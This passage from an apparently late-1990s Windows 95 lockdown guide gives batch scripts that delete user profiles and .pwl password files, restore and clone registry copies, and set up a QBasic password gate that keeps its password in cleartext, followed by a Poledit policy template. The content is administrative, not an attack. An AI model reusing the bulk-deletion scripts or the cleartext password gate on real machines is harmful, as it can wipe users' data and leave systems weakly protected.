  1432.   personal registry User.dat  of SO-AND-SO
  1433. 3 The default registry setting C:\Windows\User.dat can be found in the 
  1434.   section: Hkey_Local_Machine\Software\Microsoft\Windows\Current_Version\
  1435.   Profile_List \
  1436.  
  1437. Thus, if we wants to remove the superfluous profiles, while preserving the 
  1438. profile sup, it is necessary to do :
  1439.  
  1440. 1 Erase all the C:\Windows\*.pwl files except for Sup.pwl
  1441. 2 Empty the C:\Windows\Profiles file and all its under-files except for 
  1442.   the sup, which by the same occasion will be recopied in C:\Windows\Sup
  1443. 3 Recopy the reference registry (*)  : User.stu + System.stu In User.dat + 
  1444.   System.dat (The old registry will be saved as User.bak + System.bak).
  1445.  
  1446. All these operations can be automated, by carrying out the command in the 
  1447. file Nettoie.bat
  1448.  
  1449. The register of C:\Windows\User.stu reference + System.stu will be 
  1450. created by carrying out the command in the file Sauve.bat, which is made
  1451. automatically at the time of the installation
  1452.  
  1453. Thereafter, it will be necessary to carry out Sauve.bat only after 
  1454. possible modification of the configuration (by default).
  1455.  
  1456. Important: Before starting the modification use the batch file 
  1457. nettoie.bat to clean you your system
  1458.  
  1459.  
  1460. ---------------------------------------------------------------------------
  1461.  
  1462. NETTOIE.BAT     
  1463.  
  1464. The role of this file is to remove all the profiles automatically, except 
  1465. one: that of the supervisor (sup). It will have to be carried out rather
  1466. often and regularly
  1467.  
  1468. In particular, always carry out before modifying the registry.
  1469. Here the source of NETTOIE.BAT (attention!!! this command file must be 
  1470. launched starting from Windows 95, either in a Dos session, or directly
  1471. starting from the Browser. Indeed, if one  launches it in exclusive Dos 
  1472. mode, the long names will not be managed correctly).
  1473. ---------------------------------------------------------------------------
  1474. @echo off
  1475. cls
  1476. echo NETTOIE.BAT - NtWaK0 1/6/99
  1477. set os=windows
  1478. if exist c:\%os%\sup.pwl goto suite1
  1479. echo The supervisor profile (sup) was not created yet. You cannot carry out nettoie.bat
  1480. echo at the moment
  1481. goto fin
  1482. :suite1
  1483. echo List of actual profiles (*.pwl) :
  1484. echo.
  1485. dir c:\%os%\*.pwl /b /p
  1486. echo.
  1487. echo If you see several profiles, only SUP.PWL must be preserved
  1488.  
  1489. choice /N You want delete the other profiles (Y or N) ? 
  1490. if errorlevel 2 goto fin
  1491.  
  1492. echo.
  1493. attrib +r c:\%os%\sup.pwl
  1494. del c:\%os%\*.pwl > nul
  1495. attrib -r c:\%os%\sup.pwl
  1496.  
  1497. cls
  1498. echo Erasing the superfluous profiles...
  1499. echo.
  1500.  
  1501. if exist c:\%os%\profiles\sup\*.* goto suite2
  1502. echo No file of supervisory profile (sup) is detected!!!
  1503. goto fin
  1504.  
  1505. :suite2
  1506. if exist c:\%os%\sup\*.* deltree /y c:\%os%\sup\*.* > nul 
  1507. attrib -s -h -r c:\%os%\profiles\sup\*.*
  1508. xcopy32 c:\%os%\profiles\sup\*.* c:\%os%\sup\ /s /e > nul
  1509. deltree /y c:\%os%\profiles\*.* > nul
  1510. xcopy32 c:\%os%\sup\*.* c:\%os%\profiles\sup\ /s /e > nul
  1511. attrib +r +h +s c:\%os%\profiles\sup\*.*
  1512.  
  1513. if exist c:\%os%\user.stu goto suite3
  1514. echo The student registry (reference ) (User.stu)
  1515. echo Was not detected!!!
  1516. goto fin
  1517.  
  1518. :suite3
  1519. attrib -s -h -r c:\%os%\user.dat
  1520. attrib -s -h -r c:\%os%\user.stu
  1521. if exist c:\%os%\user.bak del c:\%os%\user.bak
  1522. rename c:\%os%\user.dat user.bak
  1523. copy c:\%os%\user.stu c:\%os%\user.dat > nul
  1524. attrib +r +h +s c:\%os%\user.dat
  1525. attrib +r +h +s c:\%os%\user.stu
  1526. attrib -s -h -r c:\%os%\system.dat
  1527. attrib -s -h -r c:\%os%\system.stu
  1528. if exist c:\%os%\system.bak del c:\%os%\system.bak
  1529. rename c:\%os%\system.dat system.bak
  1530. copy c:\%os%\system.stu c:\%os%\system.dat > nul
  1531. attrib +r +h +s c:\%os%\system.dat
  1532. attrib +r +h +s c:\%os%\system.stu
  1533.  
  1534. echo All the different profiles other then SUP were deleted
  1535. echo.
  1536. echo Now, you must start again Windows...
  1537. :fin
  1538. set os=
  1539. echo.
  1540. ----------------------------------------------------------------------------
  1541.  
  1542. ----------------------------------------------------------------------------
  1543. SAUVE.BAT 
  1544.  
  1545. This command file must be carried out after any modification of the 
  1546. configuration raises (then the default configuration). Be certain that no 
  1547. different profile than sup exists before launching sauve.bat (if not, the
  1548. Base of register of User.stu reference would keep trace of the undesirable
  1549. profiles).
  1550.  
  1551. Do not forget to carry out nettoie.bat before modifying the default 
  1552. configuration, in order to eliminate the different profiles other then sup
  1553. ----------------------------------------------------------------------------
  1554. @echo off
  1555. cls
  1556. echo SAUVE.BAT - - NtWaK0 1/6/99
  1557. echo.
  1558.  
  1559. set os=windows
  1560.  
  1561. if exist c:\%os%\sup.pwl goto suite1
  1562. echo The supervisor profile (sup) was not created yet. You cannot carry out sauve.bat
  1563. echo at the moment
  1564. goto fin
  1565.  
  1566. :suite1
  1567. if not exist c:\%os%\user.stu goto nouveau
  1568. if not exist c:\%os%\system.stu goto nouveau
  1569. echo Sauvegarde de USER.stu + SYSTEM.stu
  1570. goto suite2
  1571.  
  1572. :nouveau
  1573. echo First use. Creation of USER.stu + SYSTEM.stu
  1574. :suite2
  1575. echo.
  1576. attrib -s -h -r c:\%os%\user.dat
  1577. if exist c:\%os%\user.stu attrib -s -h -r c:\%os%\user.stu
  1578. copy c:\%os%\user.dat c:\%os%\user.stu > nul
  1579. attrib +r +h +s c:\%os%\user.dat
  1580. attrib +r +h +s c:\%os%\user.stu
  1581. attrib -s -h -r c:\%os%\system.dat
  1582. if exist c:\%os%\system.stu attrib -s -h -r c:\%os%\system.stu
  1583. copy c:\%os%\system.dat c:\%os%\system.stu > nul
  1584. attrib +r +h +s c:\%os%\system.dat
  1585. attrib +r +h +s c:\%os%\system.stu
  1586. echo End.
  1587.  
  1588. :fin
  1589. set os=
  1590. echo.
  1591. ---------------------------------------------------------------------------
  1592.  
  1593. The Browser coded
  1594.  
  1595. The source program of the Browser coded realized in Qbasic (Explore.bas), 
  1596. then is compiled (Explore.exe) and is recopied in C:\Windows\System. A 
  1597. short cut towards Explore.exe will be  slipped into the Menu To start 
  1598. by default, after all the restrictions were applied by Poledit 
  1599. (not to cancel the option: to carry out programs MSDOS). 
  1600.  
  1601. The password file (Explore.psw) is a simple textual file which contains 
  1602. the password in clear text (better is to not use Edit in a DOS session...)
  1603. it is also; located in C:\Windows\System.
  1604.  
  1605. Here the source of Explore.exe:
  1606. ---------------------------------------------------------------------------
  1607.  ' EXPLORE.EXE - NtWaK0 - 1/6/99
  1608.  '
  1609.  CLS
  1610.  OPEN "I", #1, "c:\windows\system\explore.psw"
  1611.  INPUT #1, code$
  1612.  CLOSE #1
  1613.  lcode = LEN(code$)
  1614.  COLOR 14: PRINT : PRINT "  If you don't know what to do, type *"
  1615.  PRINT
  1616.  c$ = "": t$ = "": cpt = 0
  1617.  DO
  1618.    t$ = INKEY$: IF t$ <> "" THEN c$ = c$ + t$: cpt = cpt + 1
  1619.    IF cpt > 30 THEN
  1620.      COLOR 12: PRINT "  Searching for Code ???"
  1621.      BEEP: BEEP: BEEP
  1622.      FOR i = 1 TO 500000: NEXT i
  1623.      END
  1624.    END IF
  1625.    IF t$ = "*" THEN BEEP: END
  1626.    IF LEN(c$) > lcode THEN c$ = RIGHT$(c$, lcode)
  1627.  LOOP UNTIL c$ = code$
  1628.  COLOR 10: PRINT "  Explorer..."
  1629.  FOR i = 1 TO 100000: NEXT i
  1630.  SHELL "c:\windows\explorer.exe"
  1631.  END
  1632.  
  1633. ---------------------------------------------------------------------------
  1634. PHOTO.BAT
  1635.  
  1636. This command file makes it possible " to photograph " the complete 
  1637. configuration of a computer after we entirely protected it (creation of 
  1638. the supervisory profile, clean-up in the Start Menu restrictions on the
  1639. configuration by default, etc.)
  1640.  
  1641. When we carries out A:\photo.bat, the configuration of the computer is 
  1642. entirely recopied on this same diskette in a file A:\Windows 
  1643. (approximately 200 to 600 KB).
  1644.  
  1645. Thereafter, we will recopy this configuration on another computer, while 
  1646. launching Windows 95 then by carrying out A:\duplique.bat starting from 
  1647. the Browser. With the restarting, the second computer will be configured
  1648. like the first. We will be able to  then carry out duplique.bat, on all 
  1649. the computers, which we wants to protect
  1650.  
  1651. ---------------------------------------------------------------------------
  1652. Caution! A:\photo.bat and A:\duplique.bat should not be carried out in 
  1653. exclusive mode MSDOS. They must be launched starting from Windows (use the
  1654. Browser) and remain on the diskette
  1655. ---------------------------------------------------------------------------
  1656.  
  1657. ---------------------------------------------------------------------------
  1658. @echo off
  1659. cls
  1660. echo PHOTO.BAT - NtWaK0 - 1/6/99
  1661. echo.
  1662. pause > nul
  1663.  
  1664. set os=windows
  1665.  
  1666. if exist c:\%os%\sup.pwl goto suite1
  1667. echo The supervisor profile (sup) was not created yet. You cannot carry out sauve.bat
  1668. echo at the moment
  1669. goto fin
  1670.  
  1671. :suite1
  1672. if not exist a:\%os%\*.* goto suite2
  1673. echo Photo.bat was already excuted ! now you should use Duplique.bat
  1674. goto fin
  1675.  
  1676. :suite2
  1677. echo Please wait copying the files...
  1678. echo.
  1679. xcopy32 "c:\%os%\start menu\*.*" "a:\%os%\start menu\" /s /e > nul
  1680. deltree /y "c:\%os%\profiles\sup\recent\*.*" > nul
  1681. attrib -s -h -r c:\%os%\profiles\sup\user.dat
  1682. xcopy32 "c:\%os%\profiles\*.*" "a:\%os%\profiles\" /s /e > nul
  1683. attrib +r +h +s c:\%os%\profiles\sup\user.dat
  1684. attrib -s -h -r c:\%os%\user.dat
  1685. copy c:\%os%\user.dat a:\%os% > nul
  1686. attrib +r +h +s c:\%os%\user.dat
  1687. attrib -s -h -r c:\%os%\system.dat
  1688. copy c:\%os%\system.dat a:\%os% > nul
  1689. attrib +r +h +s c:\%os%\system.dat
  1690. copy c:\%os%\sup.pwl a:\%os% > nul
  1691.  
  1692. echo End.
  1693.  
  1694. :fin
  1695. set os=
  1696. echo.
  1697.  
  1698. ---------------------------------------------------------------------------------
  1699. DUPLIQUE.BAT     
  1700. It is not possible to launch A:\duplique.bat without executing first 
  1701. A:\photo.bat
  1702. ---------------------------------------------------------------------------------
  1703. @echo off
  1704. cls
  1705. echo DUPLIQUE.BAT - NtWaK0 - 1/6/99
  1706. echo.
  1707. pause > nul
  1708.  
  1709. set os=windows
  1710.  
  1711. if not exist c:\%os%\sup.pwl goto suite1
  1712. echo This PC is already protected !
  1713. goto fin
  1714.  
  1715. :suite1
  1716. if exist a:\%os%\*.* goto suite2
  1717. echo You should first execute Photo.bat on a protected PC !
  1718. goto fin
  1719.  
  1720. :suite2
  1721.  
  1722. echo In the event of problem, the old Start Menu is recopied in the file
  1723. echo Ex_Start_Menu registry User.dat  + System.dat is renamed echo to User.bak + System.bak
  1724. echo.
  1725. echo Copying files...
  1726. echo.
  1727. if not exist "c:\%os%\Ex_Start_Menu\*.*" goto premier
  1728. deltree /y "c:\%os%\Ex_Start_Menu\*.*" > nul
  1729. echo New installation.
  1730. echo.
  1731.  
  1732. :premier
  1733. xcopy32 "c:\%os%\start menu\*.*" "c:\%os%\Ex_Start_Menu\" /s /e > nul
  1734. deltree /y "c:\%os%\start menu\*.*" > nul
  1735. xcopy32 "a:\%os%\start menu\*.*" "c:\%os%\Start menu\" /s /e /v > nul
  1736. xcopy32 "a:\%os%\profiles\*.*" "c:\%os%\Profiles\" /s /e /v > nul
  1737.  
  1738. attrib -s -h -r c:\%os%\user.dat
  1739. if exist c:\%os%\user.bak del c:\%os%\user.bak
  1740. rename c:\%os%\user.dat User.bak
  1741. copy a:\%os%\User.dat c:\%os% > nul
  1742. copy c:\%os%\user.dat c:\%os%\User.stu > nul
  1743. attrib +r +h +s c:\%os%\user.dat
  1744. attrib +r +h +s c:\%os%\user.stu
  1745.  
  1746. attrib -s -h -r c:\%os%\system.dat
  1747. if exist c:\%os%\system.bak del c:\%os%\system.bak
  1748. rename c:\%os%\system.dat system.bak
  1749. copy a:\%os%\System.dat c:\%os% > nul
  1750. copy c:\%os%\system.dat c:\%os%\System.stu > nul
  1751. attrib +r +h +s c:\%os%\system.dat
  1752. attrib +r +h +s c:\%os%\system.stu
  1753.  
  1754. copy a:\%os%\Sup.pwl c:\%os% > nul
  1755. copy a:\Nettoie.bat c:\%os% > nul
  1756. copy a:\Sauve.bat c:\%os% > nul
  1757. copy a:\Explore.exe c:\%os%\system > nul
  1758. copy a:\Explore.psw c:\%os%\system > nul
  1759. if exist c:\%os%\poledit.exe del c:\%os%\poledit.exe
  1760.  
  1761. echo End. Now you should restart your computer.
  1762.  
  1763. :fin
  1764. set os=
  1765. echo.
  1766. ---------------------------------------------------------------------------
  1767.  
  1768.  
  1769. Registry Keys
  1770. CLASS MACHINE                                                                                                                                                                                                                                                  
  1771.  
  1772.  
  1773.                             
  1774.  
  1775. CATEGORY !!Network
  1776. KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\Network
  1777.  
  1778.     CATEGORY !!AccessControl
  1779.  
  1780.         POLICY !!AccessControl_User
  1781.         KEYNAME System\CurrentControlSet\Services\VxD\FILESEC
  1782.         VALUENAME Start
  1783.         VALUEON NUMERIC 0 VALUEOFF DELETE
  1784.  
  1785.         ACTIONLISTON
  1786.             KEYNAME System\CurrentControlSet\Services\VxD\FILESEC
  1787.             VALUENAME StaticVxD VALUE filesec.vxd
  1788.         END ACTIONLISTON
  1789.         ACTIONLISTOFF
  1790.             KEYNAME Security\Provider
  1791.             VALUENAME Platform_Type  VALUE NUMERIC 0
  1792.             KEYNAME System\CurrentControlSet\Services\VxD\FILESEC
  1793.             VALUENAME StaticVxD VALUE DELETE
  1794.             KEYNAME System\CurrentControlSet\Services\VxD\NWSP
  1795.             VALUENAME Start        VALUE DELETE
  1796.             VALUENAME StaticVxD VALUE DELETE
  1797.             KEYNAME System\CurrentControlSet\Services\VxD\MSSP
  1798.             VALUENAME Start        VALUE DELETE
  1799.             VALUENAME StaticVxD VALUE DELETE
  1800.         END ACTIONLISTOFF
  1801.  
  1802.             PART !!AuthenticatorName EDITTEXT
  1803.             KEYNAME Security\Provider
  1804.             VALUENAME Container
  1805.             END PART
  1806.  
  1807.             PART !!AuthenticatorType DROPDOWNLIST
  1808.             KEYNAME Security\Provider
  1809.             VALUENAME Platform_Type REQUIRED
  1810.             ITEMLIST
  1811.                 NAME !!AT_NetWare VALUE NUMERIC 3
  1812.                 ACTIONLIST
  1813.                     KEYNAME System\CurrentControlSet\Services\VxD\NWSP
  1814.                     VALUENAME StaticVxD VALUE nwsp.vxd
  1815.                     VALUENAME Start        VALUE NUMERIC 0
  1816.                     KEYNAME Security\Provider
  1817.                     VALUENAME Address_Book  VALUE nwab32.dll
  1818.                 END ACTIONLIST
  1819.  
  1820.                 NAME !!AT_NTAS  VALUE NUMERIC 2
  1821.                 ACTIONLIST
  1822.                     KEYNAME System\CurrentControlSet\Services\VxD\MSSP
  1823.                     VALUENAME StaticVxD VALUE mssp.vxd
  1824.                     VALUENAME Start        VALUE NUMERIC 0
  1825.                     KEYNAME Security\Provider
  1826.                     VALUENAME Address_Book  VALUE msab32.dll
  1827.                 END ACTIONLIST
  1828.  
  1829.                 NAME !!AT_NT  VALUE NUMERIC 1
  1830.                 ACTIONLIST
  1831.                     KEYNAME System\CurrentControlSet\Services\VxD\MSSP
  1832.                     VALUENAME StaticVxD VALUE mssp.vxd
  1833.                     VALUENAME Start        VALUE NUMERIC 0
  1834.                     KEYNAME Security\Provider
  1835.                     VALUENAME Address_Book  VALUE msab32.dll
  1836.                 END ACTIONLIST
  1837.             END ITEMLIST
  1838.             END PART
  1839.         END POLICY
  1840.     END CATEGORY  ; User-Level Security
  1841.  
  1842.     CATEGORY !!Logon
  1843.  
  1844.         POLICY !!LogonBanner
  1845.         KEYNAME Software\Microsoft\Windows\CurrentVersion\Winlogon
  1846.             PART !!LogonBanner_Caption EDITTEXT
  1847.             VALUENAME "LegalNoticeCaption"
  1848.             MAXLEN 255
  1849.             DEFAULT !!LogonBanner_DefCaption
  1850.             END PART
  1851.  
  1852.             PART !!LogonBanner_Text EDITTEXT
  1853.             VALUENAME "LegalNoticeText"
  1854.              MAXLEN 255
  1855.             DEFAULT !!LogonBanner_DefText
  1856.             END PART
  1857.         END POLICY
  1858.  
  1859.         POLICY !!ValidatedLogon
  1860.         KEYNAME Network\Logon
  1861.         VALUENAME "MustBeValidated"
  1862.         END POLICY
  1863.     END CATEGORY
  1864.  
  1865.     
  1866.  
  1867. CATEGORY !!NWClient
  1868.     KEYNAME System\CurrentControlSet\Services\VxD\NWREDIR
  1869.  
  1870.         POLICY !!PrefServer
  1871.         KEYNAME System\CurrentControlSet\Services\NWNP32\NetworkProvider
  1872.             PART !!PrefServerName EDITTEXT REQUIRED
  1873.             VALUENAME "AuthenticatingAgent"
  1874.             MAXLEN 48
  1875.             END PART
  1876.         END POLICY
  1877.  
  1878.         POLICY !!SupportLFN
  1879.             PART !!SupportLFNsOn DROPDOWNLIST REQUIRED
  1880.             VALUENAME "SupportLFN"
  1881.             ITEMLIST
  1882.                 NAME !!LFN_No311    VALUE NUMERIC 1
  1883.                 NAME !!LFN_All    VALUE NUMERIC 2
  1884.             END ITEMLIST
  1885.  
  1886.             END PART
  1887.         END POLICY
  1888.  
  1889.         POLICY !!SearchMode
  1890.             PART !!SearchMode1 NUMERIC
  1891.             VALUENAME SearchMode
  1892.             MIN 0 MAX 7 DEFAULT 0 
  1893.             END PART    
  1894.         END POLICY
  1895.  
  1896.         POLICY !!DisableAutoNWLogin
  1897.             KEYNAME System\CurrentControlSet\Services\NWNP32\NetworkProvider
  1898.             VALUENAME DisableDefaultPasswords        
  1899.         END POLICY
  1900.  
  1901.     END CATEGORY    ; Microsoft Netware-Compatible Network
  1902.  
  1903.     CATEGORY !!MSClient
  1904.  
  1905.         POLICY !!LogonDomain
  1906.         KEYNAME Network\Logon
  1907.         VALUENAME "LMLogon"
  1908.             PART !!DomainName    EDITTEXT REQUIRED
  1909.             MAXLEN 15
  1910.             KEYNAME System\CurrentControlSet\Services\MSNP32\NetworkProvider
  1911.             VALUENAME AuthenticatingAgent
  1912.             END PART
  1913.  
  1914.             PART !!DomainLogonConfirmation CHECKBOX
  1915.             KEYNAME Network\Logon
  1916.             VALUENAME DomainLogonMessage
  1917.             END PART
  1918.  
  1919.             PART !!NoDomainPwdCaching CHECKBOX
  1920.             KEYNAME Network\Logon
  1921.             VALUENAME NoDomainPwdCaching
  1922.             END PART
  1923.         END POLICY
  1924.  
  1925.         POLICY !!Workgroup
  1926.         KEYNAME System\CurrentControlSet\Services\VxD\VNETSUP
  1927.             PART !!WorkgroupName EDITTEXT REQUIRED
  1928.             VALUENAME "Workgroup"
  1929.             MAXLEN 15
  1930.             END PART
  1931.         END POLICY
  1932.  
  1933.         POLICY !!AlternateWorkgroup
  1934.         KEYNAME System\CurrentControlSet\Services\VxD\VREDIR
  1935.             PART !!WorkgroupName EDITTEXT REQUIRED
  1936.             VALUENAME "Workgroup"
  1937.             MAXLEN 15
  1938.             END PART
  1939.         END POLICY
  1940.  
  1941.     END CATEGORY    ; Microsoft Network
  1942.  
  1943.     CATEGORY !!NWServer
  1944.  
  1945.         POLICY !!DisableSAP
  1946.             KEYNAME System\CurrentControlSet\Services\NcpServer\Parameters
  1947.             VALUENAME Use_Sap
  1948.             VALUEON "0" VALUEOFF "1"
  1949.             ACTIONLISTON
  1950.                 KEYNAME System\CurrentControlSet\Services\NcpServer\Parameters\Ndi\Params\Use_Sap
  1951.                 VALUENAME "" VALUE "0"
  1952.             END ACTIONLISTON
  1953.             ACTIONLISTOFF
  1954.                 KEYNAME System\CurrentControlSet\Services\NcpServer\Parameters\Ndi\Params\Use_Sap
  1955.                 VALUENAME "" VALUE "1"
  1956.             END ACTIONLISTOFF
  1957.         END POLICY
  1958.     END CATEGORY
  1959.  
  1960.  
  1961.  
  1962.  
  1963.     CATEGORY !!Passwords
  1964.  
  1965.         POLICY !!HideSharePasswords
  1966.         VALUENAME "HideSharePwds"
  1967.         END POLICY
  1968.  
  1969.         POLICY !!DisablePasswordCaching
  1970.         VALUENAME "DisablePwdCaching"
  1971.         END POLICY
  1972.  
  1973.         POLICY !!RequireAlphaNum
  1974.         VALUENAME "AlphanumPwds"
  1975.         END POLICY
  1976.  
  1977.         POLICY !!MinimumPwdLen
  1978.             PART !!MPL_Length NUMERIC REQUIRED
  1979.             MIN 1 MAX 8 DEFAULT 3
  1980.             VALUENAME MinPwdLen
  1981.             END PART
  1982.         END POLICY
  1983.     END CATEGORY    ; Passwords
  1984.  
  1985.     CATEGORY !!RemoteAccess
  1986.  
  1987.         POLICY !!RemoteAccess_Disable
  1988.         VALUENAME "NoDialIn"
  1989.         END POLICY
  1990.     END CATEGORY    ; Remote Access
  1991.  
  1992.     CATEGORY !!Sharing
  1993.  
  1994.         POLICY !!DisableFileSharing
  1995.         VALUENAME "NoFileSharing"
  1996.         END POLICY
  1997.  
  1998.         POLICY !!DisablePrintSharing
  1999.         VALUENAME "NoPrintSharing"
  2000.         END POLICY
  2001.         END CATEGORY    ; Sharing    
  2002.  
  2003.     CATEGORY !!SNMP
  2004.  
  2005.         POLICY !!Communities
  2006.         KEYNAME System\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities
  2007.             PART !!CommunitiesListbox LISTBOX
  2008.                 VALUEPREFIX ""
  2009.             END PART
  2010.         END POLICY
  2011.  
  2012.         POLICY !!PermittedManagers
  2013.         KEYNAME System\CurrentControlSet\Services\SNMP\Parameters\PermittedManagers
  2014.             PART !!PermittedManagersListbox LISTBOX
  2015.                 VALUEPREFIX ""
  2016.             END PART
  2017.         END POLICY
  2018.  
  2019.         POLICY !!Traps_Public
  2020.         KEYNAME System\CurrentControlSet\Services\SNMP\Parameters\TrapConfiguration\Public
  2021.             PART !!Traps_PublicListbox LISTBOX
  2022.                 VALUEPREFIX ""
  2023.             END PART
  2024.         END POLICY
  2025.  
  2026.         POLICY !!InternetMIB
  2027.         KEYNAME System\CurrentControlSet\Services\SNMP\Parameters\RFC1156Agent
  2028.             PART !!ContactName EDITTEXT REQUIRED
  2029.             VALUENAME sysContact            
  2030.             END PART
  2031.  
  2032.             PART !!Location EDITTEXT REQUIRED
  2033.             VALUENAME sysLocation
  2034.             END PART
  2035.         END POLICY
  2036.  
  2037.     END CATEGORY
  2038.  
  2039.     CATEGORY !!Update
  2040.  
  2041.         POLICY !!RemoteUpdate
  2042.         KEYNAME System\CurrentControlSet\Control\Update
  2043.         ACTIONLISTOFF
  2044.             VALUENAME "UpdateMode" VALUE NUMERIC 0
  2045.         END ACTIONLISTOFF
  2046.  
  2047.             PART !!UpdateMode DROPDOWNLIST REQUIRED
  2048.             VALUENAME "UpdateMode"
  2049.             ITEMLIST
  2050.                 NAME !!UM_Automatic VALUE NUMERIC 1
  2051.                 NAME !!UM_Manual    VALUE NUMERIC 2
  2052.             END ITEMLIST
  2053.             END PART
  2054.  
  2055.             PART !!UM_Manual_Path EDITTEXT
  2056.             VALUENAME "NetworkPath"
  2057.             END PART
  2058.  
  2059.             PART !!DisplayErrors CHECKBOX
  2060.             VALUENAME "Verbose"
  2061.             END PART
  2062.         
  2063.             PART !!LoadBalance CHECKBOX
  2064.             VALUENAME "LoadBalance"
  2065.             END PART
  2066.         END POLICY
  2067.  
  2068.     END CATEGORY    ; Update
  2069.  
  2070. END CATEGORY    ; Network
  2071.  
  2072. CATEGORY !!System
  2073. KEYNAME Software\Microsoft\Windows\CurrentVersion\Setup
  2074.  
  2075.     POLICY !!EnableUserProfiles
  2076.         KEYNAME Network\Logon
  2077.         VALUENAME UserProfiles                   les profils sont activΘs par la boεte de dialogue: "PropriΘtΘs pour Mots de passe " 
  2078.     END POLICY
  2079.  
  2080.     POLICY !!NetworkSetupPath
  2081.         PART !!NetworkSetupPath_Path EDITTEXT REQUIRED
  2082.         VALUENAME "SourcePath"
  2083.         END PART
  2084.     END POLICY
  2085.  
  2086.     POLICY !!NetworkTourPath
  2087.         PART !!NetworkTourPath_Path EDITTEXT REQUIRED
  2088.         VALUENAME "TourPath"
  2089.         END PART
  2090.         PART !!NetworkTourPath_TIP TEXT END PART
  2091.     END POLICY
  2092.  
  2093.     POLICY !!Run
  2094.         KEYNAME Software\Microsoft\Windows\CurrentVersion\Run
  2095.         PART !!RunListbox LISTBOX EXPLICITVALUE
  2096.         END PART
  2097.     END POLICY
  2098.  
  2099.     POLICY !!RunOnce
  2100.         KEYNAME Software\Microsoft\Windows\CurrentVersion\RunOnce
  2101.         PART !!RunOnceListbox LISTBOX EXPLICITVALUE
  2102.         END PART
  2103.     END POLICY
  2104.  
  2105.     POLICY !!RunServices
  2106.         KEYNAME Software\Microsoft\Windows\CurrentVersion\RunServices
  2107.         PART !!RunServicesListbox LISTBOX EXPLICITVALUE
  2108.         END PART
  2109.     END POLICY
  2110. END CATEGORY
  2111.  
  2112.  
  2113. CLASS USER
  2114.  
  2115. CATEGORY !!ControlPanel
  2116.  
  2117.     CATEGORY !!CPL_Display
  2118.  
  2119.         POLICY !!CPL_Display_Restrict
  2120.         KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\System
  2121.             PART !!CPL_Display_Disable CHECKBOX
  2122.             VALUENAME NoDispCPL
  2123.             END PART
  2124.  
  2125.             PART !!CPL_Display_HideBkgnd CHECKBOX
  2126.             VALUENAME NoDispBackgroundPage
  2127.             END PART
  2128.  
  2129.             PART !!CPL_Display_HideScrsav CHECKBOX
  2130.             VALUENAME NoDispScrSavPage
  2131.             END PART
  2132.  
  2133.             PART !!CPL_Display_HideAppearance CHECKBOX
  2134.             VALUENAME NoDispAppearancePage
  2135.             END PART
  2136.  
  2137.             PART !!CPL_Display_HideSettings CHECKBOX
  2138.             VALUENAME NoDispSettingsPage
  2139.             END PART
  2140.         END POLICY
  2141.     END CATEGORY    ; Display
  2142.  
  2143.     CATEGORY !!CPL_Network
  2144.  
  2145.         POLICY !!CPL_Network_Restrict
  2146.         KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\Network
  2147.             PART !!CPL_Network_Disable CHECKBOX
  2148.             VALUENAME NoNetSetup
  2149.             END PART
  2150.     
  2151.             PART !!CPL_Network_HideID CHECKBOX
  2152.             VALUENAME NoNetSetupIDPage
  2153.             END PART
  2154.  
  2155.             PART !!CPL_Network_HideAccessCtrl CHECKBOX
  2156.             VALUENAME NoNetSetupSecurityPage
  2157.             END PART
  2158.         END POLICY
  2159.     END CATEGORY    ; Network
  2160.  
  2161.     CATEGORY !!CPL_Security
  2162.  
  2163.         POLICY !!CPL_Security_Restrict
  2164.         KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\System
  2165.             PART !!CPL_Security_Disable CHECKBOX
  2166.             VALUENAME NoSecCPL
  2167.             END PART
  2168.  
  2169.             PART !!CPL_Security_HideSetPwds CHECKBOX
  2170.             VALUENAME NoPwdPage
  2171.             END PART
  2172.  
  2173.             PART !!CPL_Security_HideRemoteAdmin CHECKBOX
  2174.             VALUENAME NoAdminPage
  2175.             END PART
  2176.  
  2177.             PART !!CPL_Security_HideProfiles CHECKBOX
  2178.             VALUENAME NoProfilePage
  2179.             END PART
  2180.         END POLICY
  2181.     END CATEGORY    ; Security
  2182.  
  2183.     CATEGORY !!CPL_Printers
  2184.  
  2185.         POLICY !!CPL_Printers_Restrict
  2186.         KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
  2187.             PART !!CPL_Printers_HidePages CHECKBOX
  2188.             VALUENAME NoPrinterTabs
  2189.             END PART
  2190.  
  2191.             PART !!CPL_Printers_DisableRemoval CHECKBOX
  2192.             VALUENAME NoDeletePrinter
  2193.             END PART
  2194.  
  2195.             PART !!CPL_Printers_DisableAdd CHECKBOX
  2196.             VALUENAME NoAddPrinter
  2197.             END PART
  2198.         END POLICY
  2199.     END CATEGORY    ; Printers
  2200.  
  2201.     CATEGORY !!CPL_System
  2202.  
  2203.         POLICY !!CPL_System_Restrict
  2204.         KEYNAME Software\Microsoft\Windows\CurrentVersion\Policies\System
  2205.             PART !!CPL_System_HideDevMgr CHECKBOX
  2206.             VALUENAME NoDevMgrPage
  2207.             END PART
  2208.  
  2209.             PART !!CPL_System_HideConfig CHECKBOX
  2210.             VALUENAME NoConfigPage
  2211.             END PART
  2212.  
  2213.             PART !!CPL_System_NoFileSys CHECKBOX
  2214.             VALUENAME NoFileSysPage
  2215.             END PART
  2216.  
  2217.             PART !!CPL_System_NoVirtMem CHECKBOX
  2218.             VALUENAME NoVirtMemPage
  2219.             END PART
  2220.  
  2221.         END POLICY
  2222.     END CATEGORY    ; System
  2223.  
  2224. END CATEGORY    ; Control Panel
  2225.  
  2226. CATEGORY !!Desktop
  2227. KEYNAME "Control Panel\Desktop"
  2228.  
  2229.     POLICY !!Wallpaper
  2230.         PART !!WallpaperName COMBOBOX REQUIRED
  2231.         SUGGESTIONS
  2232.             !!Wallpaper1 !!Wallpaper2 !!Wallpaper3 !!Wallpaper4 !!Wallpaper5
  2233.             !!Wallpaper6 !!Wallpaper7 !!Wallpaper8 !!Wallpaper9 !!Wallpaper10
  2234.         END SUGGESTIONS
  2235.         VALUENAME "Wallpaper"              (voir page 15)
  2236.         END PART
  2237.  
  2238.         PART !!TileWallpaper CHECKBOX DEFCHECKED
  2239.         VALUENAME "TileWallpaper"
  2240.         VALUEON "1" VALUEOFF "0"
  2241.         END PART
  2242.     END POLICY
  2243.  
  2244.  
  2245.  
  2246.  
  2247.     POLICY !!ColorScheme
  2248.         PART !!SchemeName DROPDOWNLIST
  2249.         KEYNAME "Control Panel\Appearance"
  2250.         VALUENAME Current REQUIRED
  2251.         ITEMLIST
